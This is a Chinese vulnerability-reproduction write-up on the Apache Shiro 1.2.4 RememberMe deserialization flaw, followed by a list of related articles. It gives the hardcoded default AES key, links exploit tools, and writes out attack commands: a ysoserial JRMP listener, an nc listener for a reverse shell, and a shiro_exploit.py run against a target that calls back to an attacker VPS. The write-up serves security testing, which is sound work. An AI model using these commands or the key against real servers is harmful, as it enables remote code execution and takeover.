【漏洞复现】Shiro<=1.2.4反序列化漏洞
0x01 概述
Shiro简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞概述
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。 在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞
利用条件
需要知道key(AES加密密钥)
Shiro1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为:kPH+bIxk5D2deZiIxcaaaA==
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。
0x02 检测与利用
特征
1、登录页面的响应包的Set-Cookie中存在rememberMe=deleteMe
2、登陆后Cookie中有rememberMe=
工具检测与利用
工具1:ShiroExploit.jar + ysoserial.jar
下载地址:https://github.com/feihong-cs/ShiroExploit
1、输入待测URL

2、选择检测方式
(1)选择使用哪种方式检测

(2)自动遍历寻找key

(3)自动寻找可用Gadget

3、执行命令(需要编码,在线转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html)
(1)执行命令(手动编码后执行)
手动编码

执行命令

执行成功

(2)直接反弹shell(工具自动编码执行)

工具2:shiro_exploit.py + ysoserial.jar
下载地址:https://github.com/insightglacier/Shiro_exploit
(1)VPS开启JRMP监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '编码后的命令'

(2)VPS开启nc
nc -l 8080
(3)本地执行shiro_exploit.py
python2 shiro_exploit.py -u "http://192.168.17.157:8080" -t 2 -g JRMPClient -p "VPS_IP:1099" -k "kPH+bIxk5D2deZiIxcaaaA=="

0x03 修复建议
1、升级最新版Shiro
2、不要硬编码
【漏洞复现】Shiro<=1.2.4反序列化漏洞的更多相关文章
- Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...
- 漏洞复现——Apache HTTPD多后缀解析漏洞
漏洞原理:Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache Httpd这个特 ...
- 【阿菜漏洞复现】DeFi 平台 MonoX Finance 漏洞分析及复现
前言 2021 年 11 ⽉ 30 ⽇,DeFi 平台 MonoX Finance 遭遇攻击,损失共计约 3100 万美元. 造成本次攻击的漏洞主要有两个: 移除流动性的函数未对调用者进行检测,使得任 ...
- 复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
靶机IP(Ubuntu):192.168.43.185 攻击IP(kali):192.168.43.37 一.docker环境搭建 打开vulhub靶机,目录定位到vulhub-master/shir ...
- 漏洞复现——bash远程解析命令执行漏洞
漏洞描述:Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞 漏洞原理:bash通过以函数名作为环境变量名,以“( ...
- 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- 【漏洞复现】永恒之蓝 ms17-010 漏洞利用 攻击手法
日期:2018-07-21 21:09:16 介绍:永恒之蓝利用的 ms17-010 漏洞,拿 Shell.查看文件.获取密码. 0x01.实验环境 攻击机 系统:macOS Sierra 10.12 ...
- 漏洞复现:Struts2 远程代码执行漏洞(S2-033)
docker pull medicean/vulapps:s_struts2_s2-033 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
随机推荐
- Centos-显示或修改系统时间与日期-date
date 显示或者修改系统时间与日期,只有超级用户才能用date命令设置和修改时间,普通用户只能显示时间 相关参数 -s 设置设置时间,格式为 Y-m-d H:M:S -d 对日期进行运算, + ...
- Power Designer建模之餐饮在线点评系统——需求模型实例
总览 一级需求 二级需求 管理门户 会员门户 三级需求 系统管理 企业中心 会员中心 统计分析 四级需求
- 031 01 Android 零基础入门 01 Java基础语法 03 Java运算符 11 运算符的优先级
031 01 Android 零基础入门 01 Java基础语法 03 Java运算符 11 运算符的优先级 本文知识点:Java中运算符的优先级 运算符的优先级问题 前面学习了很多的运算符,如果这些 ...
- 安装 Windows 10 系统时分区选择 MBR 还是 GUID?
一.MBR 和 GUID 的概述 MBR 分区表 MBR:Master Boot Record,即硬盘主引导记录分区表,指支持容量在2.1TB以下的硬盘,超过2.1TB的硬盘只能管理2.1TB,最多只 ...
- Semaphore最详细解析
官方解释: 一个计数信号量.在概念上,信号量维持一组许可证.如果有必要,每个acquire()都会阻塞,直到许可证可用,然后才能使用它.每个release()添加许可证,潜在地释放阻塞获取方.但是,没 ...
- thinkphp5 chunk 分块处理数据小坑
场景: 使用chunk方法进行分块查询写入数据,执行发现chunk分几条一次处理 数据库就插入几条,并没有return false; 代码如下 解决方法: 增加排序字段
- 原生tab选项卡
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- Python初学习:简单的练习题
Python初学习 一些见到那的练习题: 初级难度 设计一重量转换器,输入以g为单位的数字后,返回换算结果以Kg为单位的结果 中级难度 设计一个求直角三角形斜边长的函数,(以两个直角边为参数,求最长边 ...
- 多测师讲解 _requests安装问题解决_高级讲师肖sir
步骤一:"dos下新建一个pip文件,在文件下建一个pip.ini 文件,步骤二:文件中内容[global]index-url=http://mirrors.aliyun.com/pypi/ ...
- Presto在滴滴的探索与实践
桔妹导读:Presto在滴滴内部发展三年,已经成为滴滴内部Ad-Hoc和Hive SQL加速的首选引擎.目前服务6K+用户,每天读取2PB ~ 3PB HDFS数据,处理30万亿~35万亿条记录,为 ...